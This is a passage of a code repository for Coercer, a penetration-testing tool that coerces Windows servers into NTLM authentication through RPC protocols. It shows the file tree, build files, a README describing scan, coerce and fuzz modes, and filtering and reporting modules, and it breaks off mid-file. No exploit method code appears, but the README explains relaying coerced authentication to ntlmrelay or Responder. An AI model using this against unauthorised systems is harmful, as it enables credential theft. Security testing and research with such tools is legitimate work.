├── .github ├── FUNDING.yml ├── banner.png └── workflows │ ├── python-pip-build.yml │ └── python-poetry-build.yml ├── .gitignore ├── Coercer.py ├── LICENSE ├── MANIFEST.in ├── Makefile ├── README.md ├── coercer ├── __init__.py ├── __main__.py ├── core │ ├── Filter.py │ ├── Reporter.py │ ├── __init__.py │ ├── loader.py │ ├── modes │ │ ├── __init__.py │ │ ├── coerce.py │ │ ├── fuzz.py │ │ └── scan.py │ ├── tasks │ │ ├── __init__.py │ │ ├── execute.py │ │ └── prepare.py │ └── utils.py ├── ext │ └── responder │ │ ├── Responder.conf │ │ ├── Responder.py │ │ ├── SMB.py │ │ ├── __init__.py │ │ ├── packets.py │ │ ├── settings.py │ │ └── utils.py ├── methods │ ├── MS_DFSNM │ │ ├── NetrDfsAddStdRoot.py │ │ ├── NetrDfsRemoveStdRoot.py │ │ └── __init__.py │ ├── MS_EFSR │ │ ├── EfsRpcAddUsersToFile.py │ │ ├── EfsRpcAddUsersToFileEx.py │ │ ├── EfsRpcDecryptFileSrv.py │ │ ├── EfsRpcDuplicateEncryptionInfoFile.py │ │ ├── EfsRpcEncryptFileSrv.py │ │ ├── EfsRpcFileKeyInfo.py │ │ ├── EfsRpcOpenFileRaw.py │ │ ├── EfsRpcQueryRecoveryAgents.py │ │ ├── EfsRpcQueryUsersOnFile.py │ │ ├── EfsRpcRemoveUsersFromFile.py │ │ └── __init__.py │ ├── MS_EVEN │ │ ├── ElfrOpenBELW.py │ │ └── __init__.py │ ├── MS_FSRVP │ │ ├── IsPathShadowCopied.py │ │ ├── IsPathSupported.py │ │ └── __init__.py │ ├── MS_RPRN │ │ ├── RpcRemoteFindFirstPrinterChangeNotification.py │ │ ├── RpcRemoteFindFirstPrinterChangeNotificationEx.py │ │ └── __init__.py │ └── __init__.py ├── models │ ├── MSPROTOCOLRPCCALL.py │ └── __init__.py ├── network │ ├── DCERPCSession.py │ ├── DCERPCSessionError.py │ ├── Listener.py │ ├── __init__.py │ ├── authentications.py │ ├── rpc.py │ ├── smb.py │ └── utils.py └── structures │ ├── Credentials.py │ ├── EscapeCodes.py │ ├── MethodType.py │ ├── Modes.py │ ├── ReportingLevel.py │ ├── TestResult.py │ ├── TransportType.py │ └── __init__.py ├── documentation ├── Coerce-mode.md ├── Fuzz-mode.md ├── Scan-mode.md ├── coercer.html ├── coercer │ ├── core.html │ ├── core │ │ ├── Filter.html │ │ ├── MethodFilter.html │ │ ├── Reporter.html │ │ ├── loader.html │ │ ├── modes.html │ │ ├── modes │ │ │ ├── coerce.html │ │ │ ├── fuzz.html │ │ │ └── scan.html │ │ └── utils.html │ ├── methods.html │ ├── methods │ │ ├── MS_DFSNM.html │ │ ├── MS_DFSNM │ │ │ ├── NetrDfsAddStdRoot.html │ │ │ └── NetrDfsRemoveStdRoot.html │ │ ├── MS_EFSR.html │ │ ├── MS_EFSR │ │ │ ├── EfsRpcAddUsersToFile.html │ │ │ ├── EfsRpcAddUsersToFileEx.html │ │ │ ├── EfsRpcDecryptFileSrv.html │ │ │ ├── EfsRpcDuplicateEncryptionInfoFile.html │ │ │ ├── EfsRpcEncryptFileSrv.html │ │ │ ├── EfsRpcFileKeyInfo.html │ │ │ ├── EfsRpcOpenFileRaw.html │ │ │ ├── EfsRpcQueryRecoveryAgents.html │ │ │ ├── EfsRpcQueryUsersOnFile.html │ │ │ └── EfsRpcRemoveUsersFromFile.html │ │ ├── MS_EVEN.html │ │ ├── MS_EVEN │ │ │ └── ElfrOpenBELW.html │ │ ├── MS_FSRVP.html │ │ ├── MS_FSRVP │ │ │ ├── IsPathShadowCopied.html │ │ │ └── IsPathSupported.html │ │ ├── MS_RPRN.html │ │ └── MS_RPRN │ │ │ ├── RpcRemoteFindFirstPrinterChangeNotification.html │ │ │ └── RpcRemoteFindFirstPrinterChangeNotificationEx.html │ ├── models.html │ ├── models │ │ └── MSPROTOCOLRPCCALL.html │ ├── network.html │ ├── network │ │ ├── DCERPCSession.html │ │ ├── DCERPCSessionError.html │ │ ├── Listener.html │ │ ├── authentications.html │ │ ├── rpc.html │ │ ├── smb.html │ │ └── utils.html │ ├── protocols.html │ ├── protocols │ │ ├── MS_DFSNM.html │ │ ├── MS_EFSR.html │ │ ├── MS_FSRVP.html │ │ └── MS_RPRN.html │ ├── structures.html │ ├── structures │ │ ├── Credentials.html │ │ ├── MethodType.html │ │ ├── ReportingLevel.html │ │ └── TestResult.html │ ├── utils.html │ └── utils │ │ ├── RPCProtocol.html │ │ ├── Reporter.html │ │ └── smb.html ├── index.html ├── search.js └── videos │ ├── demo-coerce.mp4 │ ├── demo-fuzz.mp4 │ ├── demo-scan.mp4 │ └── demo-webdav-coerce.mp4 ├── installer.ps1 ├── poetry.lock ├── pyproject.toml ├── requirements.txt └── setup.py /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: p0dalirius 4 | patreon: Podalirius -------------------------------------------------------------------------------- /.github/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/Coercer/e1a5d44c4f736a0a2cf7033e96a84529e90ece29/.github/banner.png -------------------------------------------------------------------------------- /.github/workflows/python-pip-build.yml: -------------------------------------------------------------------------------- 1 | # This workflow will install Python dependencies, run tests and lint with a single version of Python 2 | # For more information see: https://help.github.com/actions/language-and-framework-guides/using-python-with-github-actions 3 | 4 | name: Python pip build 5 | 6 | on: 7 | push: 8 | branches: [ "master" ] 9 | pull_request: 10 | branches: [ "master" ] 11 | 12 | permissions: 13 | contents: read 14 | 15 | jobs: 16 | build: 17 | 18 | runs-on: ubuntu-latest 19 | 20 | steps: 21 | - uses: actions/checkout@v3 22 | - name: Set up Python 3.11 23 | uses: actions/setup-python@v3 24 | with: 25 | python-version: "3.11" 26 | - name: Install dependencies 27 | run: | 28 | python -m pip install --upgrade pip 29 | pip install flake8 wheel 30 | if [ -f requirements.txt ]; then pip install -r requirements.txt; fi 31 | - name: Lint with flake8 32 | run: | 33 | # stop the build if there are Python syntax errors or undefined names 34 | flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics 35 | # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide 36 | flake8 . --count --exit-zero --max-complexity=25 --max-line-length=512 --statistics 37 | - name: Pip build 38 | run: | 39 | python3 setup.py sdist bdist_wheel 40 | - name: Pip install 41 | run: | 42 | python3 setup.py install 43 | -------------------------------------------------------------------------------- /.github/workflows/python-poetry-build.yml: -------------------------------------------------------------------------------- 1 | # This workflow will install Python dependencies, run tests and lint with a single version of Python 2 | # For more information see: https://help.github.com/actions/language-and-framework-guides/using-python-with-github-actions 3 | 4 | name: Python poetry build 5 | 6 | on: 7 | push: 8 | branches: [ "master" ] 9 | pull_request: 10 | branches: [ "master" ] 11 | 12 | permissions: 13 | contents: read 14 | 15 | jobs: 16 | build: 17 | 18 | runs-on: ubuntu-latest 19 | 20 | steps: 21 | - uses: actions/checkout@v3 22 | - name: Set up Python 3.11 23 | uses: actions/setup-python@v3 24 | with: 25 | python-version: "3.11" 26 | - name: Install dependencies 27 | run: | 28 | python -m pip install --upgrade pip 29 | pip install flake8 poetry 30 | if [ -f requirements.txt ]; then pip install -r requirements.txt; fi 31 | - name: Lint with flake8 32 | run: | 33 | # stop the build if there are Python syntax errors or undefined names 34 | flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics 35 | # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide 36 | flake8 . --count --exit-zero --max-complexity=25 --max-line-length=512 --statistics 37 | - name: Poetry build 38 | run: | 39 | poetry build 40 | - name: Poetry install 41 | run: | 42 | poetry install 43 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # poetry 98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 102 | #poetry.lock 103 | 104 | # pdm 105 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 106 | #pdm.lock 107 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 108 | # in version control. 109 | # https://pdm.fming.dev/#use-with-ide 110 | .pdm.toml 111 | 112 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 113 | __pypackages__/ 114 | 115 | # Celery stuff 116 | celerybeat-schedule 117 | celerybeat.pid 118 | 119 | # SageMath parsed files 120 | *.sage.py 121 | 122 | # Environments 123 | .env 124 | .venv 125 | env/ 126 | venv/ 127 | ENV/ 128 | env.bak/ 129 | venv.bak/ 130 | 131 | # Spyder project settings 132 | .spyderproject 133 | .spyproject 134 | 135 | # Rope project settings 136 | .ropeproject 137 | 138 | # mkdocs documentation 139 | /site 140 | 141 | # mypy 142 | .mypy_cache/ 143 | .dmypy.json 144 | dmypy.json 145 | 146 | # Pyre type checker 147 | .pyre/ 148 | 149 | # pytype static type analyzer 150 | .pytype/ 151 | 152 | # Cython debug symbols 153 | cython_debug/ 154 | 155 | # PyCharm 156 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 157 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 158 | # and can be added to the global gitignore or merged into this file. For a more nuclear 159 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 160 | #.idea/ 161 | -------------------------------------------------------------------------------- /Coercer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : Coercer.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 20 Sep 2022 6 | 7 | 8 | from coercer.__main__ import main 9 | 10 | if __name__ == '__main__': 11 | main() 12 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include requirements.txt 2 | recursive-include coercer * -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY : all clean build upload 2 | 3 | all: install clean 4 | 5 | clean: 6 | @rm -rf `find ./ -type d -name "*__pycache__"` 7 | @rm -rf ./build/ ./dist/ ./coercer.egg-info/ 8 | 9 | docs: 10 | @python3 -m pip install pdoc --break-system-packages 11 | @echo "[$(shell date)] Generating docs ..." 12 | @PDOC_ALLOW_EXEC=1 python3 -m pdoc -d markdown -o ./documentation/ ./coercer/ 13 | @echo "[$(shell date)] Done!" 14 | 15 | install: build 16 | pip install . --break-system-packages 17 | 18 | build: 19 | python3 -m pip uninstall coercer --yes --break-system-packages 20 | python3 -m pip install .[build] --break-system-packages 21 | python3 -m build --wheel 22 | 23 | upload: build 24 | python3 -m pip install .[twine] --break-system-packages 25 | python3 -m twine upload dist/* 26 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![](./.github/banner.png) 2 | 3 |

4 | A python script to automatically coerce a Windows server to authenticate on an arbitrary machine through many methods. 5 |
6 | PyPI 7 | GitHub release (latest by date) 8 | 9 | YouTube Channel Subscribers 10 |
11 |

12 | 13 | ## Windows Support 14 | To build a binary for Windows, download the `installer.ps1` script from this repository. Run it simply with no arguments to create a binary in the working directory. Use `-h` or `--help` for the help menu with options. 15 | 16 | ## Features 17 | 18 | - Core: 19 | + [x] Lists open SMB pipes on the remote machine (in modes [scan](./documentation/Scan-mode.md) authenticated and [fuzz](./documentation/Fuzz-mode.md) authenticated) 20 | + [x] Tries to connect on a list of known SMB pipes on the remote machine (in modes [scan](./documentation/Scan-mode.md) unauthenticated and [fuzz](./documentation/Fuzz-mode.md) unauthenticated) 21 | + [x] Calls one by one all the vulnerable RPC functions to coerce the server to authenticate on an arbitrary machine. 22 | + [x] Random UNC paths generation to avoid caching failed attempts (all modes) 23 | + [x] Configurable delay between attempts with `--delay` 24 | - Options: 25 | + [x] Filter by method name with `--filter-method-name`, by protocol name with `--filter-protocol-name` or by pipe name with `--filter-pipe-name` (all modes) 26 | + [x] Target a single machine `--target` or a list of targets from a file with `--targets-file` 27 | + [x] Specify IP address OR interface to listen on for incoming authentications. (modes [scan](./documentation/Scan-mode.md) and [fuzz](./documentation/Fuzz-mode.md)) 28 | - Exporting results 29 | + [x] Export results in SQLite format (modes [scan](./documentation/Scan-mode.md) and [fuzz](./documentation/Fuzz-mode.md)) 30 | + [x] Export results in JSON format (modes [scan](./documentation/Scan-mode.md) and [fuzz](./documentation/Fuzz-mode.md)) 31 | + [x] Export results in XSLX format (modes [scan](./documentation/Scan-mode.md) and [fuzz](./documentation/Fuzz-mode.md)) 32 | 33 | ## Installation 34 | 35 | You can now install it from pypi (latest version is PyPI) with this command: 36 | 37 | ``` 38 | sudo python3 -m pip install coercer 39 | ``` 40 | 41 | ## Quick start 42 | 43 | - You want to **assess** the Remote Procedure Calls listening on a machine to see if they can be leveraged to coerce an authentication? 44 | + Use [**scan** mode](./documentation/Scan-mode.md), example: 45 | 46 | https://user-images.githubusercontent.com/79218792/204374471-bc5094a3-8539-4df7-842e-faadcaf9c945.mp4 47 | 48 | - You want to **exploit** the Remote Procedure Calls on a remote machine to coerce an authentication to ntlmrelay or responder? 49 | + Use [**coerce** mode](./documentation/Coerce-mode.md), example: 50 | 51 | https://user-images.githubusercontent.com/79218792/204372851-4ba461ed-6812-4057-829d-0af6a06b0ecc.mp4 52 | 53 | - You are doing **research** and want to fuzz Remote Procedure Calls listening on a machine with various paths? 54 | + Use [**fuzz** mode](./documentation/Fuzz-mode.md), example: 55 | 56 | https://user-images.githubusercontent.com/79218792/204373310-64f90835-b544-4760-b0a3-3071429b3940.mp4 57 | 58 | --- 59 | 60 | ## Contributing 61 | 62 | Pull requests are welcome. Feel free to open an issue if you want to add other features. 63 | 64 | ## Credits 65 | 66 | - [@tifkin_](https://twitter.com/tifkin_) and [@elad_shamir](https://twitter.com/elad_shamir) for finding and implementing **PrinterBug** on [MS-RPRN](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1) 67 | - [@topotam77](https://twitter.com/topotam77) for finding and implementing **PetitPotam** on [MS-EFSR](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31) 68 | - [@topotam77](https://twitter.com/topotam77) for finding and [@_nwodtuhs](https://twitter.com/_nwodtuhs) for implementing **ShadowCoerce** on [MS-FSRVP](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fsrvp/dae107ec-8198-4778-a950-faa7edad125b) 69 | - [@filip_dragovic](https://twitter.com/filip_dragovic) for finding and implementing **DFSCoerce** on [MS-DFSNM](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/95a506a8-cae6-4c42-b19d-9c1ed1223979) 70 | - [@evilashz](https://github.com/evilashz/) for finding and implementing **CheeseOunce** on [MS-EVEN](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-even/55b13664-f739-4e4e-bd8d-04eeda59d09f) 71 | -------------------------------------------------------------------------------- /coercer/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : __init__.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 17 Jul 2022 6 | -------------------------------------------------------------------------------- /coercer/core/Filter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : Filter.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 15 Sep 2022 6 | 7 | class Filter(object): 8 | """ 9 | Documentation for class Filter 10 | """ 11 | 12 | def __init__(self, filter_method_name=None, filter_protocol_name=None, filter_pipe_name=None): 13 | super(Filter, self).__init__() 14 | self.filter_method_name = filter_method_name 15 | self.filter_protocol_name = filter_protocol_name 16 | self.filter_pipe_name = filter_pipe_name 17 | 18 | def method_matches_filter(self, instance): 19 | """ 20 | Function method_matches_filter 21 | 22 | Parameters: 23 | ?:instance 24 | 25 | Return: 26 | bool:outcome 27 | """ 28 | if len(self.filter_method_name) != 0 or len(self.filter_protocol_name) != 0: 29 | outcome = False 30 | else: 31 | outcome = True 32 | # 33 | for method in self.filter_method_name: 34 | if method in instance.function["name"]: 35 | outcome = True 36 | # 37 | for protocol in self.filter_protocol_name: 38 | if (protocol in instance.protocol["shortname"]) or (protocol in instance.protocol["longname"]): 39 | outcome = True 40 | # 41 | """ 42 | candidate_pipes = [p["namedpipe"] for p in instance.access["ncan_np"]] 43 | for filter_pipe in self.filter_pipe_name: 44 | if filter_pipe in candidate_pipes: 45 | outcome = True 46 | """ 47 | return outcome 48 | 49 | def pipe_matches_filter(self, pipe_name): 50 | """ 51 | Function pipe_matches_filter 52 | 53 | Parameters: 54 | ?:pipe_name 55 | 56 | Return: 57 | bool:outcome 58 | """ 59 | if len(self.filter_pipe_name) != 0: 60 | outcome = False 61 | else: 62 | outcome = True 63 | # 64 | for pipe in self.filter_pipe_name: 65 | if pipe in pipe_name: 66 | outcome = True 67 | return outcome 68 | -------------------------------------------------------------------------------- /coercer/core/Reporter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : Reporter.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 17 Jul 2022 6 | 7 | from functools import wraps 8 | import sqlite3 9 | import os 10 | import json 11 | import xlsxwriter 12 | import sys 13 | import logging 14 | from coercer.models.MSPROTOCOLRPCCALL import MSPROTOCOLRPCCALL 15 | from coercer.structures import EscapeCodes 16 | from coercer.structures.TestResult import TestResult 17 | 18 | def create_reporter(options, verbose): 19 | global reporter 20 | reporter = Reporter(options, verbose) 21 | 22 | def should_print(func): 23 | @wraps(func) 24 | def wrapper(self, *args, **kwargs): 25 | verbose = kwargs.get("verbose", False) 26 | debug = kwargs.get("debug", False) 27 | 28 | if verbose and not self.options.verbose: 29 | return 30 | 31 | if debug and not self.options.debug: 32 | return 33 | 34 | return func(self, *args, **kwargs) 35 | return wrapper 36 | 37 | def parse_print_args(func): 38 | @wraps(func) 39 | def wrapper(self, *args, **kwargs): 40 | prefix = kwargs.pop("prefix", None) 41 | 42 | if len(args) == 1: 43 | message = args[0] 44 | elif len(args) == 2: 45 | if prefix is None: 46 | prefix = args[0] 47 | message = args[1] 48 | else: 49 | raise Exception("Print function takes a maximum of two arguments.") 50 | 51 | return func(self, prefix, message, **kwargs) 52 | return wrapper 53 | 54 | class Reporter(object): 55 | """ 56 | Documentation for class Reporter 57 | """ 58 | 59 | def __init__(self, options, verbose=False): 60 | super(Reporter, self).__init__() 61 | 62 | if options.log_file is not None: 63 | logging.basicConfig(filename=options.log_file, level=options.minimum_log_level, format='%(asctime)s %(levelname)s %(message)s') 64 | self.logger = logging.getLogger("coercer") 65 | else: 66 | self.logger = None 67 | 68 | self.options = options 69 | self.verbose = verbose 70 | self.test_results = {} 71 | 72 | # Args can be strings, or tuples (string, escape code) 73 | @should_print 74 | def print(self, *args, **kwargs): 75 | prefix = kwargs.get("prefix", None) 76 | symbol_arg = kwargs.get("symbol", None) 77 | symbol_bold = kwargs.get("symbol_bold", True) 78 | end = kwargs.get("end", "\n") 79 | 80 | if self.logger is not None: 81 | debug = kwargs.get("debug", False) 82 | log_level = kwargs.get("log_level", logging.DEBUG if debug else logging.INFO) 83 | log_string = "" 84 | 85 | output_string = "" 86 | 87 | if prefix: 88 | output_string += prefix 89 | 90 | if symbol_arg: 91 | if isinstance(symbol_arg, tuple): 92 | symbol = symbol_arg[0] 93 | if len(symbol_arg) == 2: 94 | symbol_color = symbol_arg[1] 95 | else: 96 | symbol_color = None 97 | else: 98 | symbol = symbol_arg 99 | symbol_color = None 100 | 101 | if self.logger is not None: 102 | log_string += "[%s] " % symbol 103 | 104 | if self.options.disable_escape_codes: 105 | output_string += "[%s] " % symbol 106 | else: 107 | if symbol_bold: 108 | output_string += EscapeCodes.BOLD 109 | 110 | output_string += "[" 111 | 112 | if symbol_color: 113 | output_string += symbol_color + symbol + EscapeCodes.RESET 114 | else: 115 | output_string += symbol 116 | 117 | if symbol_bold: 118 | output_string += EscapeCodes.BOLD 119 | 120 | output_string += "]" 121 | 122 | if symbol_bold: 123 | output_string += EscapeCodes.RESET 124 | 125 | output_string += " " 126 | 127 | for arg in args: 128 | if isinstance(arg, tuple): 129 | if not self.options.disable_escape_codes: 130 | output_string += arg[1] 131 | 132 | if issubclass(type(arg[0]), MSPROTOCOLRPCCALL): 133 | output_arg = arg[0].to_string(self.options.disable_escape_codes) 134 | log_arg = arg[0].to_string(True) 135 | else: 136 | output_arg = str(arg[0]) 137 | log_arg = output_arg 138 | 139 | output_string += output_arg 140 | 141 | if self.logger is not None: 142 | log_string += log_arg 143 | 144 | if not self.options.disable_escape_codes: 145 | output_string += EscapeCodes.RESET 146 | else: 147 | if issubclass(type(arg), MSPROTOCOLRPCCALL): 148 | output_arg = arg.to_string(self.options.disable_escape_codes) 149 | log_arg = arg.to_string(True) 150 | else: 151 | output_arg = str(arg) 152 | log_arg = output_arg 153 | 154 | output_string += output_arg 155 | if self.logger is not None: 156 | log_string += log_arg 157 | 158 | if self.logger is not None: 159 | self.logger.log(level=log_level, msg=log_string) 160 | 161 | print(output_string, end=end) 162 | sys.stdout.flush() 163 | 164 | def print_testing(self, msprotocol_rpc_instance, **kwargs): 165 | self.print("(", ("-testing-", EscapeCodes.BRIGHT_YELLOW), ") ", msprotocol_rpc_instance, prefix=" ", symbol=(">", EscapeCodes.BRIGHT_YELLOW), **kwargs) 166 | 167 | @parse_print_args 168 | def print_in_progress(self, prefix, message, **kwargs): 169 | self.print(message, prefix=prefix, symbol=(">", EscapeCodes.BRIGHT_YELLOW), **kwargs) 170 | 171 | @parse_print_args 172 | def print_info(self, prefix, message, **kwargs): 173 | self.print(message, prefix=prefix, symbol=("info", EscapeCodes.BRIGHT_GREEN), **kwargs) 174 | 175 | @parse_print_args 176 | def print_ok(self, prefix, message, **kwargs): 177 | self.print(message, prefix=prefix, symbol=("+", EscapeCodes.BRIGHT_GREEN), **kwargs) 178 | 179 | @parse_print_args 180 | def print_warn(self, prefix, message, **kwargs): 181 | self.print(message, prefix=prefix, symbol=("warn", EscapeCodes.BRIGHT_RED), log_level=logging.WARN, **kwargs) 182 | 183 | @parse_print_args 184 | def print_error(self, prefix, message, **kwargs): 185 | self.print(message, prefix=prefix, symbol=("!", EscapeCodes.BRIGHT_RED), log_level=logging.ERROR, **kwargs) 186 | 187 | def print_result(self, symbol, result, msprotocol_rpc_instance, escape_code=None, **kwargs): 188 | self.print("(", (result, escape_code), ") ", msprotocol_rpc_instance, prefix=" ", symbol=(symbol, escape_code), **kwargs) 189 | 190 | def report_test_result(self, target, uuid, version, namedpipe, msprotocol_rpc_instance, result, exploitpath): 191 | function_name = msprotocol_rpc_instance.function["name"] 192 | if target not in self.test_results.keys(): 193 | self.test_results[target] = {} 194 | if uuid not in self.test_results[target].keys(): 195 | self.test_results[target][uuid] = {} 196 | if version not in self.test_results[target][uuid].keys(): 197 | self.test_results[target][uuid][version] = {} 198 | if function_name not in self.test_results[target][uuid][version].keys(): 199 | self.test_results[target][uuid][version][function_name] = {} 200 | if namedpipe not in self.test_results[target][uuid][version][function_name].keys(): 201 | self.test_results[target][uuid][version][function_name][namedpipe] = [] 202 | 203 | # Save result to database 204 | self.test_results[target][uuid][version][function_name][namedpipe].append({ 205 | "function": msprotocol_rpc_instance.function, 206 | "protocol": msprotocol_rpc_instance.protocol, 207 | "testresult": result.name, 208 | "exploitpath": exploitpath 209 | }) 210 | 211 | if not self.options.disable_escape_codes: 212 | sys.stdout.write(EscapeCodes.CURSOR_UP_ONE) 213 | sys.stdout.write(EscapeCodes.ERASE_LINE) 214 | 215 | if self.options.mode in ["scan", "fuzz"]: 216 | if result == TestResult.SMB_AUTH_RECEIVED or result == TestResult.SMB_AUTH_RECEIVED_NTLMv1 or result == TestResult.SMB_AUTH_RECEIVED_NTLMv2: 217 | self.print_result("+", "SMB Auth", msprotocol_rpc_instance, EscapeCodes.BOLD_BRIGHT_GREEN) 218 | elif result == TestResult.HTTP_AUTH_RECEIVED: 219 | self.print_result("+", "HTTP Auth", msprotocol_rpc_instance, EscapeCodes.BOLD_BRIGHT_GREEN) 220 | elif result == TestResult.NCA_S_UNK_IF: 221 | self.print_result("-", "-No Func-", msprotocol_rpc_instance, EscapeCodes.BOLD_BRIGHT_MAGENTA) 222 | else: 223 | if self.verbose: 224 | self.print_result("!", result.name, msprotocol_rpc_instance, EscapeCodes.BOLD_BRIGHT_RED) 225 | elif self.options.mode in ["coerce"]: 226 | if result == TestResult.ERROR_BAD_NETPATH: 227 | self.print_result("+", "ERROR_BAD_NETPATH", msprotocol_rpc_instance, EscapeCodes.BOLD_BRIGHT_GREEN) 228 | else: 229 | if self.verbose: 230 | self.print_result("!", result.name, msprotocol_rpc_instance, EscapeCodes.BOLD_BRIGHT_RED) 231 | 232 | def exportXLSX(self, filename): 233 | basepath = os.path.dirname(filename) 234 | filename = os.path.basename(filename) 235 | if basepath not in [".", ""]: 236 | if not os.path.exists(basepath): 237 | os.makedirs(basepath) 238 | path_to_file = basepath + os.path.sep + filename 239 | else: 240 | path_to_file = filename 241 | # export 242 | 243 | workbook = xlsxwriter.Workbook(path_to_file) 244 | worksheet = workbook.add_worksheet() 245 | 246 | header_format = workbook.add_format({'bold': 1}) 247 | header_fields = ["Target", "Interface UUID", "Interface version", "SMB named pipe", "Protocol long name", "Protocol short name", "RPC function name", "Operation number", "Result", "Working path"] 248 | for k in range(len(header_fields)): 249 | worksheet.set_column(k, k + 1, len(header_fields[k]) + 3) 250 | worksheet.set_row(0, 60, header_format) 251 | worksheet.write_row(0, 0, header_fields) 252 | 253 | row_id = 1 254 | for target in self.test_results.keys(): 255 | for uuid in self.test_results[target].keys(): 256 | for version in self.test_results[target][uuid].keys(): 257 | for function_name in self.test_results[target][uuid][version].keys(): 258 | for namedpipe in self.test_results[target][uuid][version][function_name].keys(): 259 | for test_result in self.test_results[target][uuid][version][function_name][namedpipe]: 260 | data = [target, uuid, version, namedpipe, test_result["protocol"]["longname"], test_result["protocol"]["shortname"], test_result["function"]["name"], test_result["function"]["opnum"], test_result["testresult"], test_result["exploitpath"]] 261 | worksheet.write_row(row_id, 0, data) 262 | row_id += 1 263 | worksheet.autofilter(0, 0, row_id, len(header_fields) - 1) 264 | workbook.close() 265 | self.print_info("Results exported to XLSX in '%s'" % path_to_file) 266 | 267 | def exportJSON(self, filename): 268 | basepath = os.path.dirname(filename) 269 | filename = os.path.basename(filename) 270 | if basepath not in [".", ""]: 271 | if not os.path.exists(basepath): 272 | os.makedirs(basepath) 273 | path_to_file = basepath + os.path.sep + filename 274 | else: 275 | path_to_file = filename 276 | # export 277 | f = open(path_to_file, "w") 278 | f.write(json.dumps(self.test_results, indent=4)) 279 | f.close() 280 | self.print_info("Results exported to JSON in '%s'" % path_to_file) 281 | 282 | def exportSQLITE(self, filename): 283 | basepath = os.path.dirname(filename) 284 | filename = os.path.basename(filename) 285 | if basepath not in [".", ""]: 286 | if not os.path.exists(basepath): 287 | os.makedirs(basepath) 288 | path_to_file = basepath + os.path.sep + filename 289 | else: 290 | path_to_file = filename 291 | # Exporting results 292 | # Connecting to sqlite 293 | conn = sqlite3.connect(path_to_file) 294 | # Creating a cursor object using the cursor() method 295 | cursor = conn.cursor() 296 | cursor.execute("CREATE TABLE IF NOT EXISTS results(target VARCHAR(255), uuid VARCHAR(255), version VARCHAR(255), named_pipe VARCHAR(255), protocol_shortname VARCHAR(255), protocol_longname VARCHAR(512), function_name VARCHAR(255), result VARCHAR(255), path VARCHAR(512));") 297 | cursor.execute("DELETE FROM results;") 298 | for target in self.test_results.keys(): 299 | for uuid in 